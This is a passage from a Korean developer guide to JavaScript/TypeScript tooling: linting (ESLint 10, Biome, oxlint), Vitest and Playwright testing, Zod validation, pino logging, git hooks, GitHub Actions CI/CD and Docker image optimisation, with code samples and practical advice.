ESLint 10(2026-02)에서 .eslintrc.* 와 .eslintignore 가 완전히 제거됐습니다. 9 에서는 ESLINT_USE_FLAT_CONFIG=false 로 옛 형식을 계속 쓸 수 있었지만 10 에는 그 탈출구가 없습니다. npx @eslint/migrate-config .eslintrc.json 으로 변환하고, .eslintignore 에 있던 항목은 config 배열 안의 ignores 로 옮기세요 (위 예시의 { ignores: [...] } 블록).

Prettier · Biome

// .prettierrc
{
  "semi": true,
  "singleQuote": false,
  "printWidth": 100,
  "trailingComma": "all",
  "arrowParens": "always"
}
# Biome — ESLint + Prettier 를 하나로 (Rust 로 작성, 매우 빠름)
npm i -D @biomejs/biome
npx biome init
npx biome check --write .        # 린트 + 포맷 한 번에

# 장점: 설정 파일 하나, 10~100배 빠름
# 단점: ESLint 플러그인 생태계(React·Nest 전용 규칙)를 아직 다 못 씁니다
둘을 동시에 쓰지 마세요. ESLint 의 포맷 규칙과 Prettier 가 충돌하면 저장할 때마다 코드가 왔다 갔다 합니다. eslint-config-prettier 를 맨 마지막에 두어 겹치는 규칙을 꺼야 합니다.
// .vscode/settings.json — 팀에 공유 (커밋하세요)
{
  "editor.formatOnSave": true,
  "editor.defaultFormatter": "esbenp.prettier-vscode",
  "editor.codeActionsOnSave": { "source.fixAll.eslint": "explicit" },
  "typescript.tsdk": "node_modules/typescript/lib"   // ★ 버전 통일
}
규칙은 적게 시작하세요. 경고가 500개 뜨는 설정은 아무도 안 봅니다. recommended 로 시작해 실제로 버그를 잡은 규칙만 추가하는 편이 훨씬 오래갑니다.

oxlint — 세 번째 선택지 2026

Rust 로 쓴 린터입니다. 같은 코드베이스에서 ESLint 대비 50~100배 빠르고, 멀티코어를 전부 씁니다 — 큰 저장소에서 “린트가 몇 분”이던 것이 몇 초가 됩니다. 오랫동안 “빠르지만 타입을 모른다”가 약점이었는데, 2026 년에 tsgo(TypeScript 7 의 Go 컴파일러)를 붙여 타입 인지 린팅이 들어왔고 규칙도 787개까지 늘었습니다. Vite 8 의 기본 린터이고 NestJS 12 의 기본 툴체인에도 들어갑니다.

npx oxlint                       # 설정 없이 바로 (권장 규칙이 기본)
npx oxlint --fix
npm i -D oxlint

# ESLint 와 같이 쓰기 — 가장 현실적인 조합입니다
#   oxlint 가 잡을 수 있는 규칙은 ESLint 에서 꺼 버립니다
npm i -D eslint-plugin-oxlint
// eslint.config.js — oxlint 와 겹치는 규칙을 자동으로 끕니다
import oxlint from "eslint-plugin-oxlint";

export default [
  // …기존 설정…
  ...oxlint.configs["flat/recommended"],   // ★ 맨 마지막
];
// package.json
//   "lint": "oxlint && eslint ."
//     → 빠른 oxlint 가 먼저 걸러 내고, 남은 것만 ESLint 가 봅니다

셋 중 무엇을 고르나

상황ESLint 10Biomeoxlint
한 줄 요약 가장 넓은 생태계. 느림 린터 + 포매터 한 몸 가장 빠른 린터. 포매터는 없음
속도 기준 10~100배 50~100배
플러그인 사실상 전부 — React·Nest·import·a11y 등 내장 규칙 위주. 커스텀 플러그인은 제한적 주요 플러그인의 규칙을 이식 중. 아직 빈 칸이 있음
타입 인지 규칙 typescript-eslint 로 완전 지원. 단 TS 7 API 대기 중(o-TS t14) 제한적 tsgo 기반으로 2026 에 도입 — 범위는 아직 좁음
포맷 Prettier 를 따로 내장 없음 — Prettier·Biome 과 조합
고르는 기준 기존 프로젝트 · 플러그인 의존이 큼 ★ 새 프로젝트 · 설정 파일을 하나로 줄이고 싶을 때 린트가 느려서 괴로울 때 — ESLint 와 병행이 정답
지금 가장 안전한 선택은 “oxlint 를 앞에 두고 ESLint 를 남기는 것”입니다. CI 시간은 즉시 줄고, oxlint 에 아직 없는 규칙은 ESLint 가 계속 봐 줍니다. 전부 갈아엎는 결정은 내가 실제로 쓰는 규칙이 전부 이식된 뒤에 해도 늦지 않습니다.
셋은 서로 다른 일을 합니다 — 겹치게 두면 싸웁니다 tsc — 타입 타입이 맞는가 이것만이 진짜 오류를 잡습니다 --noEmit 으로 검사만 ESLint — 규칙 위험한 패턴을 잡습니다 await 빠뜨림 · 안 쓰는 변수 포맷 규칙은 여기서 빼세요 Prettier — 모양 줄바꿈·따옴표·들여쓰기 논쟁이 사라집니다 저장할 때 자동 적용 어디서 무엇을 돌리나 저장 시 — Prettier 커밋 시 — 바뀐 파일만 린트 CI — 전체 tsc + lint 커밋 훅에서 전체 검사를 돌리면 커밋이 느려져 사람들이 우회합니다 — 바뀐 파일만 보게 하세요 규칙을 늘리기 전에 경고를 0으로 만들 수 있는 수준인지 보세요. 경고가 쌓이면 아무도 읽지 않습니다
도구를 늘리는 것보다 세 도구의 경계를 나누는 것이 먼저입니다.
TOOL 05

테스트 — Vitest

테스트가 빨라야 사람들이 돌립니다.

설정

npm i -D vitest @vitest/coverage-v8
// vitest.config.ts
export default defineConfig({
  test: {
    globals: true,                    // describe·it 을 import 없이
    environment: "node",              // 프런트엔드면 "jsdom"
    setupFiles: ["./test/setup.ts"],
    coverage: {
      provider: "v8",
      reporter: ["text", "lcov"],
      exclude: ["**/*.config.*", "**/dist/**"],
    },
    // 통합 테스트는 파일 단위로 순차 실행 (DB 충돌 방지)
    fileParallelism: false,
  },
});
import { describe, it, expect, vi, beforeEach } from "vitest";

describe("OrderService", () => {
  const repo = { save: vi.fn(), findById: vi.fn() };
  const service = new OrderService(repo as any);

  beforeEach(() => vi.clearAllMocks());

  it("재고가 부족하면 주문이 실패한다", async () => {
    repo.findById.mockResolvedValue({ stock: 0 });
    await expect(service.create({ productId: 1, qty: 1 }))
      .rejects.toThrow(OutOfStockError);
    expect(repo.save).not.toHaveBeenCalled();
  });

  it("시간에 의존하는 로직", () => {
    vi.useFakeTimers();
    vi.setSystemTime(new Date("2026-08-04"));
    expect(isExpired(order)).toBe(true);
    vi.useRealTimers();
  });
});

모킹 전략

// 모듈 전체 모킹
vi.mock("./mailer", () => ({ sendMail: vi.fn().mockResolvedValue(true) }));

// 일부만 실제로
vi.mock("./config", async (importOriginal) => ({
  ...(await importOriginal<typeof import("./config")>()),
  API_URL: "http://test",
}));

// ★ 외부 HTTP 는 msw 로 (실제 네트워크 계층에서 가로챕니다)
import { setupServer } from "msw/node";
import { http, HttpResponse } from "msw";

const server = setupServer(
  http.get("https://api.pay.com/verify", () =>
    HttpResponse.json({ status: "APPROVED" })),
);
beforeAll(() => server.listen({ onUnhandledRequest: "error" }));
afterEach(() => server.resetHandlers());
afterAll(() => server.close());
모킹을 너무 많이 하면 테스트가 의미를 잃습니다. 전부 가짜로 바꾸면 “내가 짠 mock 이 잘 도는지” 를 검증할 뿐입니다. DB 는 Testcontainers 로 진짜를 쓰고, 외부 API 만 모킹하는 것이 균형점입니다.

무엇을 테스트할까

  • 돈·권한·재고 관련 로직 — 반드시
  • 버그가 났던 곳 — 재발 방지 테스트를 먼저
  • 복잡한 분기·계산 — 할인·정산·유효기간
  • 단순 CRUD·getter — 안 해도 됩니다
커버리지 숫자를 목표로 삼지 마세요. 80% 를 맞추려고 의미 없는 테스트를 양산하게 됩니다. “이 코드가 깨지면 서비스에 무슨 일이 생기나”를 기준으로 고르세요. 커버리지가 왜 거짓말을 하는지는 o14 에서 이어집니다.
테스트 피라미드 — 아래가 넓어야 합니다 E2E 수십 개 브라우저 조작 · 핵심 흐름만 느리고 잘 깨짐 · 원인 찾기 어려움 통합 수백 개 라우터 · DB · 외부 호출을 실제로 진짜 버그가 가장 많이 잡힘 단위 수천 개 함수 하나 · 밀리초 단위 실패하면 원인이 바로 보임 느림 빠름 거꾸로 된 피라미드 — E2E 만 잔뜩이면 30분씩 걸리고 실패해도 어디가 문제인지 모릅니다 커버리지 숫자를 목표로 삼지 마세요 — 의미 없는 테스트로 숫자만 올라갑니다 버그를 고칠 때마다 그 버그를 재현하는 테스트를 하나 남기면 피라미드는 알아서 자랍니다
좋은 테스트의 기준은 개수가 아니라 실패했을 때 원인을 알려 주는가입니다.
TOOL 06

E2E — Playwright

진짜 브라우저로 사람이 하듯 클릭해 봅니다.

기본

npm init playwright@latest
import { test, expect } from "@playwright/test";

test("로그인 후 주문을 생성한다", async ({ page }) => {
  await page.goto("/login");

  // ★ 접근성 기준으로 찾으세요 (CSS 선택자보다 훨씬 안 깨집니다)
  await page.getByLabel("이메일").fill("test@example.com");
  await page.getByLabel("비밀번호").fill("password123");
  await page.getByRole("button", { name: "로그인" }).click();

  await expect(page).toHaveURL("/dashboard");
  await expect(page.getByText("환영합니다")).toBeVisible();

  await page.getByRole("link", { name: "주문하기" }).click();
  await page.getByRole("button", { name: "결제" }).click();

  await expect(page.getByRole("alert")).toContainText("주문이 완료");
});
// playwright.config.ts
export default defineConfig({
  testDir: "./e2e",
  fullyParallel: true,
  retries: process.env.CI ? 2 : 0,          // ★ CI 에서만 재시도
  use: {
    baseURL: "http://localhost:5173",
    trace: "on-first-retry",                // ★ 실패 시 재현 자료
    screenshot: "only-on-failure",
    video: "retain-on-failure",
  },
  webServer: {                               // 테스트 전 서버 자동 실행
    command: "npm run dev",
    port: 5173,
    reuseExistingServer: !process.env.CI,
  },
  projects: [
    { name: "chromium", use: devices["Desktop Chrome"] },
    { name: "mobile", use: devices["iPhone 14"] },
  ],
});

실무 요령

// ① 로그인 상태를 재사용 (매번 로그인하면 너무 느립니다)
// global-setup.ts
const page = await browser.newPage();
await login(page);
await page.context().storageState({ path: "e2e/.auth/user.json" });

// 사용
test.use({ storageState: "e2e/.auth/user.json" });

// ② 네트워크 응답 고정 (외부 API 의존 제거)
await page.route("**/api/payments", (route) =>
  route.fulfill({ json: { status: "APPROVED" } }));

// ③ 기다리기 — ★ 절대 sleep 을 쓰지 마세요
await page.waitForResponse(r => r.url().includes("/api/orders"));
await expect(locator).toBeVisible();        // 자동으로 재시도하며 대기

// ❌ await page.waitForTimeout(3000);       // 느리고 불안정
E2E 테스트를 너무 많이 만들지 마세요. 느리고, 깨지기 쉽고(flaky), 유지보수 비용이 큽니다. 핵심 흐름 5~10개만 — 로그인·결제·주문 같은 “이게 깨지면 서비스가 죽는” 경로에 집중하세요.
npx playwright test                    # 실행
npx playwright test --ui               # ★ UI 모드 — 단계별로 보며 디버깅
npx playwright codegen localhost:5173  # ★ 조작을 코드로 기록
npx playwright show-report
codegen 으로 시작하세요. 브라우저에서 직접 클릭하면 테스트 코드가 자동으로 만들어집니다. 거기서 다듬는 편이 처음부터 손으로 쓰는 것보다 훨씬 빠릅니다.
TOOL 07

Zod — 런타임 검증

타입은 실행 중에는 사라집니다. 바깥에서 오는 값은 다시 확인해야 합니다.

어디에 쓰나

  • API 요청 본문·쿼리 (🚂 Express x05)
  • 환경 변수 — 부팅 시 검증 (🟩 Node n08)
  • 외부 API 응답 — 상대가 형태를 바꿔도 즉시 발견
  • localStorage·설정 파일 — 옛 버전 데이터가 남아 있을 수 있음
  • 폼 입력 — react-hook-form 과 연동
import { z } from "zod";

export const OrderSchema = z.object({
  id: z.uuid(),
  amount: z.number().int().positive(),
  status: z.enum(["PENDING", "PAID", "CANCELLED"]),
  items: z.array(z.object({
    productId: z.number(),
    qty: z.number().int().min(1).max(99),
  })).min(1, "상품을 하나 이상 선택하세요"),
  memo: z.string().max(500).optional(),
  createdAt: z.coerce.date(),          // ★ 문자열 → Date 자동 변환
});

export type Order = z.infer<typeof OrderSchema>;   // ★ 타입 자동 생성

// 사용
const result = OrderSchema.safeParse(input);
if (!result.success) {
  console.log(result.error.issues);    // [{ path, message, code }]
  return;
}
result.data.amount;                     // number 로 확정

실무 패턴

// ① 변환 · 정제
const UserSchema = z.object({
  email: z.preprocess(v => typeof v === "string" ? v.trim().toLowerCase() : v, z.email()),
  age: z.coerce.number().int(),                     // "25" → 25
  tags: z.string().transform(s => s.split(",")),    // "a,b" → ["a","b"]
});

// ② 조건부 검증
const PaymentSchema = z.discriminatedUnion("method", [
  z.object({ method: z.literal("card"), cardNumber: z.string().length(16) }),
  z.object({ method: z.literal("bank"), accountNo: z.string() }),
]);   // ★ 🔷 TS t04 의 판별 유니온과 정확히 대응됩니다

// ③ 커스텀 규칙
const SignUpSchema = z.object({
  password: z.string().min(8),
  confirm: z.string(),
}).refine(d => d.password === d.confirm, {
  message: "비밀번호가 일치하지 않습니다",
  path: ["confirm"],
});

// ④ 외부 API 응답 검증 — 상대가 바뀌면 즉시 알 수 있습니다
const res = await fetch(url);
const data = ExternalApiSchema.parse(await res.json());
// ⑤ 환경 변수 (부팅 시 한 번)
export const env = z.object({
  NODE_ENV: z.enum(["development", "production", "test"]),
  PORT: z.coerce.number().default(3000),
  DATABASE_URL: z.url(),
  JWT_SECRET: z.string().min(32),
}).parse(process.env);
Zod 의 진짜 가치는 “한 번만 정의”입니다. 스키마 하나에서 검증 + 타입 + 폼 규칙 + API 문서가 전부 나옵니다. 모노레포라면 packages/schema 에 두고 프런트·백엔드가 공유하세요(o02). Valibot 은 같은 개념에 번들 크기가 더 작은 대안입니다.
Zod 4 부터 문자열 포맷은 최상위 함수입니다. z.email() · z.url() · z.uuid() · z.iso.date() · z.jwt() 로 쓰세요 — z.string().email() 같은 메서드 형태는 폐기 예정입니다. 최상위 함수라야 안 쓰는 검사기가 트리셰이킹되어 번들에서 빠집니다. 트림·소문자화가 필요하면 z.preprocess(v => typeof v === "string" ? v.trim().toLowerCase() : v, z.email()) 처럼 앞단에서 정제하세요.
TOOL 08

HTTP · 날짜 · 유틸

라이브러리를 넣기 전에 내장 기능으로 되는지 먼저 확인하세요.

HTTP 클라이언트

선택기준
fetch (내장)Node 18+ · 브라우저 공통. 대부분 이걸로 충분
kyfetch 래퍼 — 재시도·타임아웃·훅. 가볍습니다
axios인터셉터 생태계가 필요할 때. 무겁습니다
undiciNode 전용 저수준 — 커넥션 풀 제어가 필요할 때
// fetch 를 감싸는 얇은 클라이언트 — 실무에서 이 정도면 충분합니다
async function api<T>(path: string, init?: RequestInit & { schema?: ZodType<T> }) {
  const res = await fetch(`${BASE}${path}`, {
    ...init,
    headers: { "Content-Type": "application/json", ...init?.headers },
    signal: init?.signal ?? AbortSignal.timeout(10_000),   // ★ 타임아웃 기본값
  });

  if (!res.ok) {
    const body = await res.text();
    throw new HttpError(res.status, body);
  }
  const json = await res.json();
  return init?.schema ? init.schema.parse(json) : (json as T);   // ★ 검증까지
}

// ky — 재시도가 필요하면
import ky from "ky";
const client = ky.create({
  prefixUrl: BASE,
  timeout: 10_000,
  retry: { limit: 2, methods: ["get"], backoffLimit: 3000 },
  hooks: {
    beforeRequest: [(req) => req.headers.set("Authorization", `Bearer ${token}`)],
  },
});

날짜 · 숫자 · 유틸

// ★ 포맷만 필요하면 내장 Intl 로 충분합니다 (🟨 JS j15)
new Intl.DateTimeFormat("ko-KR", { dateStyle: "long" }).format(d);
new Intl.NumberFormat("ko-KR", { style: "currency", currency: "KRW" }).format(n);
new Intl.RelativeTimeFormat("ko").format(-3, "day");     // "3일 전"

// 계산이 많으면 date-fns (함수 단위 import — 번들이 작습니다)
import { addDays, differenceInDays, format, isAfter } from "date-fns";
import { ko } from "date-fns/locale";
format(new Date(), "yyyy년 M월 d일 (E)", { locale: ko });

// ❌ moment — 유지보수 종료. 신규 도입 금지
// △ dayjs — moment 와 API 가 같아 마이그레이션에 유리
// lodash 를 넣기 전에 — 대부분 내장으로 됩니다
_.uniq(arr)         → [...new Set(arr)]
_.groupBy(a, fn)    → Object.groupBy(a, fn)          // ES2024
_.cloneDeep(o)      → structuredClone(o)
_.pick / _.omit     → 구조 분해 (🟨 JS j07)
_.debounce          → 직접 5줄 (🟨 JS j04)

// 정말 필요한 것만 개별 설치
import debounce from "lodash-es/debounce";           // 트리셰이킹 가능
“편의 라이브러리”가 번들의 절반을 차지하는 경우가 많습니다. 프런트엔드라면 vite-bundle-visualizer 로 한 번 확인해 보세요. moment + lodash + axios 조합만 걷어내도 번들이 수백 KB 줄어드는 경우가 흔합니다.
TOOL 09

로깅 · 환경 변수

운영에서 문제를 찾는 시간이 여기서 갈립니다.

pino — 구조화 로그

import pino from "pino";

export const logger = pino({
  level: process.env.LOG_LEVEL ?? "info",
  // ★ 비밀 값 마스킹 — 실수로 토큰을 남기는 사고를 막습니다
  redact: {
    paths: ["req.headers.authorization", "req.headers.cookie",
            "*.password", "*.passwordHash", "*.cardNumber"],
    censor: "[REDACTED]",
  },
  base: { service: "order-api", env: process.env.NODE_ENV },
  transport: process.env.NODE_ENV !== "production"
    ? { target: "pino-pretty", options: { colorize: true } }
    : undefined,                       // ★ 운영은 JSON 그대로
});

// 자식 로거로 문맥 고정
const reqLog = logger.child({ requestId, userId });
reqLog.info({ orderId }, "주문 생성 완료");
운영 출력 (JSON 한 줄 — 검색·집계가 됩니다)
{"level":30,"time":1754283121412,"service":"order-api","env":"production",
 "requestId":"a1b2","userId":7,"orderId":"O-1","msg":"주문 생성 완료"}

로그 레벨 기준
  error  사람이 봐야 하는 것 (알람 대상)
  warn   이상하지만 처리는 됨
  info   중요한 상태 변화 (주문·결제·로그인)
  debug  개발용 — 운영에서는 끔

★ 모든 것을 info 로 찍으면 아무것도 안 보입니다.

환경 변수 관리

# Node 20.6+ 는 dotenv 없이 읽습니다
node --env-file=.env --env-file=.env.local app.js

# 파일 전략
.env.example      ★ 커밋 O — 어떤 변수가 필요한지 문서 역할
.env              커밋 X (.gitignore)
.env.test         테스트용
# 운영은 파일이 아니라 "주입" (K8s Secret · Parameter Store)
// config/env.ts — ★ 부팅 시 한 번 검증하고 이후엔 이것만 씁니다
import { z } from "zod";

const schema = z.object({
  NODE_ENV: z.enum(["development", "production", "test"]).default("development"),
  PORT: z.coerce.number().default(3000),
  DATABASE_URL: z.url(),
  REDIS_URL: z.url(),
  JWT_SECRET: z.string().min(32),
  LOG_LEVEL: z.enum(["debug", "info", "warn", "error"]).default("info"),
});

const parsed = schema.safeParse(process.env);
if (!parsed.success) {
  console.error("환경 변수 오류:",
    parsed.error.issues.map(i => `${i.path}: ${i.message}`).join("\n"));
  process.exit(1);                    // ★ 부팅을 막습니다
}
export const env = parsed.data;

// 이후 코드에서는 process.env 를 직접 쓰지 마세요
// import { env } from "./config/env.js";  →  env.PORT (number 로 확정)
비밀 값이 커밋된 적이 있다면 키를 폐기하세요. 히스토리에서 지워도 포크·캐시·CI 로그에 남습니다. gitleaks·trufflehog 를 pre-commit 훅에 넣어 애초에 못 들어가게 막는 것이 정답입니다(o10).
TOOL 10

Git 훅 · 커밋 규칙

사람이 매번 챙기던 것을 기계에게 넘깁니다.

husky + lint-staged

npm i -D husky lint-staged · npx husky init
# .husky/pre-commit
npx lint-staged
// package.json — ★ 변경된 파일만 검사 (빠릅니다)
{
  "lint-staged": {
    "*.{ts,tsx}": ["eslint --fix", "prettier --write"],
    "*.{json,md,yml}": ["prettier --write"]
  }
}
# .husky/pre-push — 푸시 전에 타입 검사·테스트
npm run typecheck && npm test
pre-commit 훅을 무겁게 만들지 마세요. 커밋마다 30초가 걸리면 사람들이 --no-verify 로 우회합니다. 포맷·린트는 pre-commit, 테스트는 pre-push 나 CI 로 나누세요.

커밋 메시지 규칙

# Conventional Commits — 사실상 표준
feat:     새 기능
fix:      버그 수정
refactor: 동작 변화 없는 개선
perf:     성능
docs:     문서
test:     테스트
chore:    빌드·설정
ci:       CI 설정

예)
  feat(order): 주문 취소 API 추가
  fix(auth): 토큰 만료 시 401 대신 500 이 내려가던 문제

★ 이 규칙을 지키면 CHANGELOG·버전을 자동 생성할 수 있습니다
// commitlint.config.js
export default {
  extends: ["@commitlint/config-conventional"],
  rules: {
    "subject-case": [0],              // 한글 제목 허용
    "header-max-length": [2, "always", 100],
  },
};
// .husky/commit-msg → npx commitlint --edit $1
# 비밀 값 커밋 방지 — ★ 이건 꼭 넣으세요
npm i -D @secretlint/quick-start
# .husky/pre-commit 에 추가
npx secretlint "**/*"
규칙은 “자동으로 강제”될 때만 지켜집니다. 문서에 적어 두는 것만으로는 2주 뒤에 아무도 안 지킵니다. 훅·CI 로 기계가 막게 만드세요.
TOOL 11

CI/CD

테스트 → 빌드 → 배포를 사람 손 없이.

GitHub Actions — 기본형

name: CI
on:
  pull_request:
  push: { branches: [main] }

jobs:
  check:
    runs-on: ubuntu-latest
    services:                          # ★ 테스트용 DB 를 띄웁니다
      postgres:
        image: postgres:18
        env: { POSTGRES_PASSWORD: test }
        options: >-
          --health-cmd pg_isready --health-interval 10s
        ports: ["5432:5432"]
      redis:
        image: redis:8
        ports: ["6379:6379"]

    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 24
          cache: npm                   # ★ 의존성 캐시 (시간 크게 절약)

      - run: npm ci
      - run: npm run typecheck
      - run: npm run lint
      - run: npm test
        env:
          DATABASE_URL: postgresql://postgres:test@localhost:5432/test
          REDIS_URL: redis://localhost:6379

      - run: npm audit --audit-level=high    # 취약점 검사
      - uses: codecov/codecov-action@v4      # 커버리지 리포트

배포 워크플로

  deploy:
    needs: check
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production            # ★ 승인 게이트를 걸 수 있습니다
    permissions: { id-token: write, contents: read, packages: write }   # ghcr 푸시 권한

    steps:
      - uses: actions/checkout@v4
      - uses: docker/login-action@v3   # ★ 푸시 전에 레지스트리 로그인
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - uses: docker/build-push-action@v6
        with:
          push: true
          tags: |
            ghcr.io/${{ github.repository }}:${{ github.sha }}
            ghcr.io/${{ github.repository }}:latest
          cache-from: type=gha         # ★ 레이어 캐시
          cache-to: type=gha,mode=max

      - name: 배포
        run: |
          kubectl set image deployment/api \
            api=ghcr.io/${{ github.repository }}:${{ github.sha }}
          kubectl rollout status deployment/api --timeout=5m   # ★ 실패 시 감지
이미지 태그에 latest 만 쓰지 마세요. 커밋 SHA 로 태그하면 “지금 도는 게 어느 코드인지”가 명확하고, 문제가 생겼을 때 이전 태그로 즉시 롤백할 수 있습니다.

파이프라인 설계 원칙

  • 빠른 것부터 — 타입 검사·린트를 먼저, 무거운 E2E 는 나중에
  • PR 에서는 검사만, 배포는 main 병합 후
  • 모노레포라면 바뀐 것만 (turbo --filter=...[HEAD^])
  • 비밀 값은 OIDC 로 — 장기 액세스 키를 저장하지 마세요
  • 배포 후 헬스체크 확인까지 파이프라인에 포함
CI 가 10분을 넘으면 사람들이 기다리지 않습니다. 캐시·병렬화·변경분만 실행으로 5분 이내를 목표로 하세요. 느린 CI 는 결국 “일단 머지하고 나중에 고치자”로 이어집니다.
CI 파이프라인 — 빠르게 실패하는 것을 앞에 둡니다 가로축 = 시작부터 흐른 시간 · 눈금 1분 0 1분 2분 3분 4분 5분 6분 7분 설치 20초 · 캐시 사용 린트 · 타입 30초 · 가장 자주 실패 테스트 2분 · 단위 → 통합 빌드 3분 · 이미지 생성 배포 1분 · 되돌리기 가능 목표 5분 이내 PR 에서 도는 것 — 5분 50초 병합 후 — 1분 PR 에서 도는 것 설치 · 린트 · 타입 · 테스트 · 빌드까지 여기서 초록이어야 병합합니다 병합 후 도는 것 이미지 게시 · 스테이징 배포 · 스모크 운영 배포는 수동 승인으로 나누는 편이 안전합니다 이 예시는 목표 5분을 50초 넘깁니다 — 테스트를 쪼개 병렬로 돌리거나 빌드 캐시를 붙여야 들어옵니다 순서가 곧 속도입니다 — 타입 오류를 3분짜리 빌드 뒤에 알려 주면 개발이 느려집니다 캐시 키는 잠금 파일 해시로 — 의존성이 안 바뀌면 설치를 통째로 건너뜁니다 가끔 실패하는 테스트는 방치하지 마세요 — 파이프라인 전체의 신뢰가 무너집니다 비밀값은 저장소가 아니라 CI 의 시크릿에 — 로그에 찍히지 않는지도 확인하세요
CI 의 값은 자동화가 아니라 사람이 확인하지 않아도 되는 범위가 늘어나는 데 있습니다.
TOOL 12

Docker 이미지 최적화

이미지가 작아야 배포가 빠르고 공격면이 줄어듭니다.

크기 줄이기

# ❌ 흔한 문제 — 1.2GB
FROM node:24
WORKDIR /app
COPY . .                          # node_modules·.git 까지 복사
RUN npm install                   # devDependencies 포함
CMD ["npm", "start"]

# ✅ 개선 — 200MB 이하
FROM node:24-alpine AS deps
WORKDIR /app
COPY package*.json ./
RUN npm ci                        # ★ 이 레이어는 package.json 이 안 바뀌면 캐시됨

FROM node:24-alpine AS build
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
RUN npm run build

FROM node:24-alpine
WORKDIR /app
ENV NODE_ENV=production
COPY package*.json ./
RUN npm ci --omit=dev && npm cache clean --force
COPY --from=build /app/dist ./dist
USER node
CMD ["node", "dist/index.js"]
# .dockerignore — ★ 이것부터 만드세요
node_modules
.git
.env*
dist
coverage
**/*.test.ts
.github

레이어 캐시 원리

Docker 는 각 명령을 레이어로 저장하고,
"앞 레이어가 안 바뀌면" 뒤를 재사용합니다.

★ 자주 바뀌는 것을 뒤에 두세요
  1. package.json 복사 → npm ci    (가끔 바뀜 → 캐시 잘 됨)
  2. 소스 복사 → 빌드              (자주 바뀜)

이 순서를 뒤집으면 코드 한 줄만 고쳐도
매번 의존성을 새로 설치합니다 (수 분 낭비)

베이스 이미지 선택

이미지특징
node:24~1GB. 디버깅 도구 포함
node:24-alpine~180MB. 가장 흔한 선택. 단, 네이티브 모듈 빌드 시 이슈가 있을 수 있음
node:24-slim~250MB. glibc 기반 — alpine 이슈 회피용
distroless가장 작고 안전. 셸이 없어 디버깅이 어렵습니다
# 이미지 분석
docker images                          # 크기 확인
docker history my-image                # 레이어별 크기
npx dive my-image                      # ★ 레이어 탐색 도구

# 취약점 스캔
docker scout cves my-image
trivy image my-image                   # CI 에 넣으면 좋습니다
이미지에 비밀 값을 넣지 마세요. ENV API_KEY=xxx 나 COPY .env 는 이미지를 받은 누구나 볼 수 있습니다(docker history). 빌드 시 필요하면 --secret 마운트를 쓰고, 런타임 값은 환경 변수로 주입하세요.
이미지가 크고 빌드가 느린 이유는 대개 순서 하나입니다 ① 코드 한 줄 고친 뒤 다시 빌드하는 시간 0 25 50 75 100 초 COPY . . 먼저 ≈ 65초 · npm ci 를 매번 다시 lock 먼저 복사 ≈ 20초 · 설치 층은 캐시에서 ② 최종 이미지 크기 0 0.5 1.0 GB 한 단계로 빌드 ≈ 1.2 GB · 컴파일러 · 개발 의존성 포함 빌드 · 실행 분리 ≈ 180 MB · 결과물과 운영 의존성만 .dockerignore 를 꼭 두세요 — node_modules 와 .git 이 들어가면 캐시가 매번 깨집니다 이미지가 작으면 배포와 재시작이 빨라집니다 — 장애 대응 시간에 그대로 반영됩니다
도커 최적화의 절반은 기술이 아니라 바뀌는 것을 뒤에 두는 순서입니다.
TOOL 13

목적별 도구 찾기

“이걸 하려면 뭘 써야 하지?”를 한글로 검색하세요.

하려는 일추천메모
엑셀 읽기·쓰기exceljs스트리밍 지원. 대용량은 WorkbookWriter
CSV 처리papaparse · csv-parse대용량은 스트림 모드로 (🟩 Node n05)
PDF 생성pdfkit · puppeteerHTML→PDF 면 puppeteer 가 편함
이미지 처리sharpC++ 기반이라 빠름. 대량이면 워커로
파일 업로드@aws-sdk/client-s3presigned URL 로 서버를 안 거치는 게 정답 (x08)
입력 검증zod타입까지 자동 생성 (o07)
Nest DTO 검증class-validatorNest·Swagger 통합이 매끄러움 (s06)
작업 큐bullmqRedis 기반. 재시도·지연·반복 (k07)
이벤트 스트림kafkajs여러 서비스가 같은 이벤트를 구독할 때
스케줄러node-cron · K8s CronJob서버 여러 대면 분산 락 필요 (k11)
JWTjsonwebtoken · josejose 는 표준 준수·ESM 친화
비밀번호 해시bcrypt · argon2MD5·SHA 단독 사용 금지
소셜 로그인passport · Auth.jsNext.js 면 Auth.js 가 편함
로깅pinoJSON 한 줄. 빠름 (o09)
메트릭prom-client기본 지표 자동 수집 (k12)
분산 추적@opentelemetry/*자동 계측으로 코드 수정 최소
에러 추적Sentry소스맵 업로드까지 해야 의미 있음
단위 테스트vitest빠르고 설정이 거의 없음 (o05)
E2E 테스트playwrightcodegen 으로 시작 (o06)
API 테스트supertest서버를 안 띄우고 검증 (x11)
테스트용 DBtestcontainers진짜 DB 를 도커로 (s14)
외부 API 모킹msw네트워크 계층에서 가로챔
ORMprisma · drizzledrizzle 은 SQL 에 가깝고 가벼움
Nest ORMtypeorm · prismaJPA 경험자는 TypeORM 이 익숙 (s11)
Redis 클라이언트ioredis클러스터·Lua 지원이 좋음 (k03)
HTTP 클라이언트fetch(내장) · ky타임아웃 반드시 지정 (o08)
실시간 통신socket.io · ws서버 여러 대면 Redis 어댑터 (k11)
메일 발송nodemailer · resend큐를 거쳐 보내세요 (k07)
결제 연동@tosspayments/* · stripe멱등성 필수 (k06)
환경 변수node --env-file + zoddotenv 불필요 (o09)
날짜 처리Intl(내장) · date-fnsmoment 는 금지 (j15)
API 문서@nestjs/swagger · scalar운영에서는 접근 제한
CLI 만들기commander · clack간단하면 내장 parseArgs
상태 관리zustand · TanStack Query서버 데이터는 후자로 (r04·r08)
폼 관리react-hook-form + zod리렌더가 적음
모노레포pnpm + turborepo캐시로 CI 시간 단축 (o02)
여기 없는 것을 고를 때 기준 — ① 최근 업데이트, ② 의존성 개수, ③ 이슈 응답 속도, ④ 내장 기능으로 되는 일은 아닌지. 자바스크립트 생태계는 선택지가 많은 게 문제이지 부족한 적은 없습니다.
TOOL 14

테스트 심화 — 예제를 넘어서

o05 가 “어떻게 쓰는가”였다면, 여기는 “내 테스트가 무엇을 못 잡고 있는가” 입니다.

① 속성 기반 테스트 — fast-check

보통의 테스트는 내가 생각해 낸 입력만 검증합니다. 문제는 버그가 사는 곳이 대개 내가 생각 못 한 입력이라는 점입니다 — 빈 문자열, 이모지, 음수 0, 아주 큰 수, 서머타임 경계. 속성 기반 테스트는 입력을 라이브러리가 수백 개 만들어 던집니다.

npm i -D fast-check @fast-check/vitest
